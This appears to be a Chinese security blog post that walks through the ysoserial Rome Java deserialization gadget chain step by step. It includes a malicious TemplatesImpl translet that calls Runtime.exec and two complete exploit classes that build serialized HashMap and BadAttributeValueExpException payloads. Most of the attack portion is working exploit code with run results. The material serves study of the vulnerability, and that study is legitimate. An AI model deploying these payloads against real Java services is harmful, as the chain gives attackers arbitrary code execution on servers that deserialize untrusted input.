• Rome链分析


    Rome链分析

    ysoserial中的调用链

    最上面的是链子的末尾,最下面的是链子的开头

     * TemplatesImpl.getOutputProperties()
     * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
     * NativeMethodAccessorImpl.invoke(Object, Object[])
     * DelegatingMethodAccessorImpl.invoke(Object, Object[])
     * Method.invoke(Object, Object...)
     * ToStringBean.toString(String)
     * ToStringBean.toString()
     * ObjectBean.toString()
     * EqualsBean.beanHashCode()
     * ObjectBean.hashCode()
     * HashMap<K,V>.hash(Object)
     * HashMap<K,V>.readObject(ObjectInputStream)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    还是逆序分析

    TemplatesImpl内部的调用

    TemplatesImpl可以加载恶意字节码,基本的调用链为,看newTransformer(),已知的调用链如下

    TemplatesImpl-->newTransformer()
        TemplatesImpl-->getTransletInstance()
            TemplatesImpl-->defineTransletClasses()
                TemplatesImpl-->defineClass()
    
    • 1
    • 2
    • 3
    • 4

    注意getOutputProperties()方法中调用了newTransformer()方法

    在这里插入图片描述

    所以在这里的调用就是

    TemplatesImpl-->getOutputProperties()
    	TemplatesImpl-->newTransformer()
            TemplatesImpl-->getTransletInstance()
                TemplatesImpl-->defineTransletClasses()
                    TemplatesImpl-->defineClass()
    
    • 1
    • 2
    • 3
    • 4
    • 5

    写一个calc1.java

    //calc1.java
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    public class calc1 extends AbstractTranslet {
    
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
        }
    
        public static void main(String[] args) {
            System.out.println(1);
        }
        public calc1() throws Exception{
            super();
            Runtime.getRuntime().exec("calc");
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    编译生成class文件,然后动态加载

    public static void main(String[] args) throws Exception {
            //恶意字节码
            String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
            Path path = Paths.get(fileName);
            byte[] bytes = Files.readAllBytes(path);
            String bytes1 = Base64.getEncoder().encodeToString(bytes);
    //        System.out.println(bytes1);
    
    
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            byte[] code = Base64.getDecoder().decode(bytes1);
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_name","sk1y");  //不能设置为null,不然返回null
            setFieldValue(templates,"_class",null);
            setFieldValue(templates,"_bytecodes",new byte[][]{code});
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
            templates.getOutputProperties();
    
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    运行结果
    在这里插入图片描述

    接下来是看怎么去调用TemplatesImpl.getOutputProperties()

    ToStringBean.toString()–>TemplatesImpl.getOutputProperties()

    ToStringBean的构造器是public的,可以传入一个类和对象

    在这里插入图片描述

    我们看ToStringBean类的toString方法

    在这里插入图片描述

    跟进getPropertyDescriptors方法,会获取_beanClass中所有的getter和setter方法,而_beanClass是我们可控的

    在这里插入图片描述

    getPDs方法在BeanIntrospector类中重载

    在这里插入图片描述

    getOutputProperties符合get开头的这个格式,所以我们可以用这个ToStringBean.toString()去触发TemplatesImpl.getOutputProperties()

    将原来的触发点注释掉,然后在上面代码的结尾添加

            ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
            toStringBean.toString();
    
    • 1
    • 2

    调试一下

    发现会先调用无参的toString(),然后去调用有参的toString(prefix)

    在这里插入图片描述

    然后到getPDs,会获取getter方法

    在这里插入图片描述

    然后会看到,总共5个方法, 循环调用,getOutputProperties位于第三个

    在这里插入图片描述

    然后invoke进行调用

    在这里插入图片描述

    运行结果
    在这里插入图片描述

    接下来,就是触发ToStringBean.toString()

    EqualsBean.hashCode–>ToStringBean.toString()

    EqualsBean类中hashCode()–>beanHashCode()–>toString()

    在这里插入图片描述

    其中成员变量_obj可控

    在这里插入图片描述

    将原来的触发点注释,添加

            EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
            equalsBean.hashCode();
    
    • 1
    • 2

    运行结果

    在这里插入图片描述

    ObjectBean.hashCode–>toString

    ObjectBean类中既可以触发hashCode,也可以触发toString()

    在这里插入图片描述

    再看这个构造器

    在这里插入图片描述

    我们可以发现,这一部分的调用链有很多种可能性,这里截取一下大佬的博客

    在这里插入图片描述

    HashMap–>hashCode

    HashMap类就是用来调用hashcode()方法的

    HashMap的readObject方法中调用了hash()方法

    在这里插入图片描述

    跟进hash(),发现调用了key.hashCode()

    在这里插入图片描述

    我们知道,HashMap的put()方法将指定的键值对插入到HashMap中

    实例

    package test;
    
    import java.util.HashMap;
    
    public class hashmap_test {
        public static void main(String[] args) {
            HashMap<Integer, String> map = new HashMap<>();
            map.put(1,"sss");
            System.out.println(map);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    运行结果

    在这里插入图片描述

    但是这里其实put的时候,也会造成弹计算器,因为put中调用hash(),直接就执行了

    在这里插入图片描述

    这个可以利用反射进行修改,先放进去无害的,然后将恶意类替换_equalsBean

    这个东西执行不了,原因不明,我在debug的时候,跟到

    在这里插入图片描述

    当i=2时,会调用getOutputProperties,也就是能执行calc了

    在这里插入图片描述

    但是当i=1的时候,在执行

    Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
    
    • 1

    会出现这个情况

    在这里插入图片描述

    跳到

    在这里插入图片描述

    然后就没然后了,直接退出了,不执行i=2的情况

    遇到的问题解决方案

    将下列代码中TemplatesImpl.class换为Templates.class

    ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
    
    • 1

    在这里插入图片描述

    exp

    package Rome;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.sun.syndication.feed.impl.EqualsBean;
    import com.sun.syndication.feed.impl.ObjectBean;
    import com.sun.syndication.feed.impl.ToStringBean;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.nio.file.Files;
    import java.nio.file.Path;
    import java.nio.file.Paths;
    import java.util.Base64;
    import java.util.HashMap;
    
    
    public class Rome2 {
    
        public static void unserialize(byte[] bytes) throws Exception{
            try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
                ObjectInputStream oin = new ObjectInputStream(bain)){
                oin.readObject();
            }
        }
    
        public static byte[] serialize(Object o) throws Exception{
            try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
                ObjectOutputStream oout = new ObjectOutputStream(baout)){
                oout.writeObject(o);
                return baout.toByteArray();
            }
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void main(String[] args) throws Exception {
            //恶意字节码
            String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
            Path path = Paths.get(fileName);
            byte[] bytes = Files.readAllBytes(path);
            String bytes1 = Base64.getEncoder().encodeToString(bytes);
    //        System.out.println(bytes1);
            byte[] code = Base64.getDecoder().decode(bytes1);
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_name","sk1y");  //不能设置为null,不然返回null
            setFieldValue(templates,"_class",null);
            setFieldValue(templates,"_bytecodes",new byte[][]{code});
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
            ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
    
            EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
    //
            ObjectBean objectBean = new ObjectBean(String.class, "1");       //这里写一个正常的类
    
            HashMap<Object, Integer> hashMap = new HashMap<>();
            hashMap.put(objectBean,1);
            setFieldValue(objectBean,"_equalsBean",new EqualsBean(ToStringBean.class,toStringBean));     //反射将恶意类写进去
    
            ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout);
            oout.writeObject(hashMap);
            byte[] sss = baout.toByteArray();
    
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(sss));
            ois.readObject();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72

    BadAttributeValueExpException

    根据上面的分析,在ObjectBean类中,可以直接调用toString来进行调用ToStringBean.toString()

    在这里插入图片描述

    而触发toString可以通过BadAttributeValueExpException进行触发

    在这里插入图片描述

    exp

    package Rome;
    
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.sun.syndication.feed.impl.EqualsBean;
    import com.sun.syndication.feed.impl.ObjectBean;
    import com.sun.syndication.feed.impl.ToStringBean;
    
    import javax.management.BadAttributeValueExpException;
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.nio.file.Files;
    import java.nio.file.Path;
    import java.nio.file.Paths;
    import java.util.Base64;
    import java.util.HashMap;
    
    
    public class Rome2 {
    
        public static void unserialize(byte[] bytes) throws Exception{
            ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain);
            oin.readObject();
        }
    
    
        public static byte[] serialize(Object o) throws Exception{
            try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
                ObjectOutputStream oout = new ObjectOutputStream(baout)){
                oout.writeObject(o);
                return baout.toByteArray();
            }
        }
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }
        public static void main(String[] args) throws Exception {
            //恶意字节码
            String fileName = "D:\\project\\java\\test\\target\\classes\\calc1.class";
            Path path = Paths.get(fileName);
            byte[] bytes = Files.readAllBytes(path);
            String bytes1 = Base64.getEncoder().encodeToString(bytes);
    //        System.out.println(bytes1);
            byte[] code = Base64.getDecoder().decode(bytes1);
    
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_name","sk1y");  //不能设置为null,不然返回null
            setFieldValue(templates,"_class",null);
            setFieldValue(templates,"_bytecodes",new byte[][]{code});
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
            ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
    
    
            ObjectBean objectBean = new ObjectBean(String.class, "1");
            setFieldValue(objectBean,"_toStringBean",toStringBean);
    
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("aaa");
            setFieldValue(badAttributeValueExpException,"val",objectBean);
    
            unserialize(serialize(badAttributeValueExpException));
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67

    运行结果
    在这里插入图片描述

    调用过程
    在这里插入图片描述

    简化一点

    但是分析一下代码2的调用,为什么不直接从BadAttributeValueExpException直接调用到ToStringBean,而跳过ObjectBean

    主要的代码如下

            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_name","sk1y");  //不能设置为null,不然返回null
            setFieldValue(templates,"_class",null);
            setFieldValue(templates,"_bytecodes",new byte[][]{code});
            setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
            ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
            
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("aaa");
            setFieldValue(badAttributeValueExpException,"val",toStringBean);
            
            unserialize(serialize(badAttributeValueExpException));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    运行结果

    在这里插入图片描述

    参考链接

    1. (2条消息) Java反序列化漏洞-ROME利用链分析_lu0sf的博客-CSDN博客_java rome
    2. (2条消息) 『Java安全』反序列化-Rome 1.0反序列化POP链分析_ysoserial Rome payload分析_Ho1aAs的博客-CSDN博客
  • 相关阅读:
    JAVA毕业设计129—基于Java+Springboot+thymeleaf的物业管理系统(源代码+数据库)
    【深度学习】基于卷积神经网络的天气识别训练
    CentOS 7离线升级OpenSSH至9.1p1操作过程及遇上的问题
    C语言之文件的使用(下)
    软件测试、交付与维护
    企业网络安全保障团队建设构想
    C++ 如何把string转为int,如何把int转为string(字符串转为数字,数字转为字符串)
    C/C++数据结构——[NOIP2004]FBI树(二叉树)
    43%非常看好TypeScript…解读“2022前端开发者现状报告”
    腾讯云服务器
  • 原文地址:https://blog.csdn.net/RABCDXB/article/details/125567452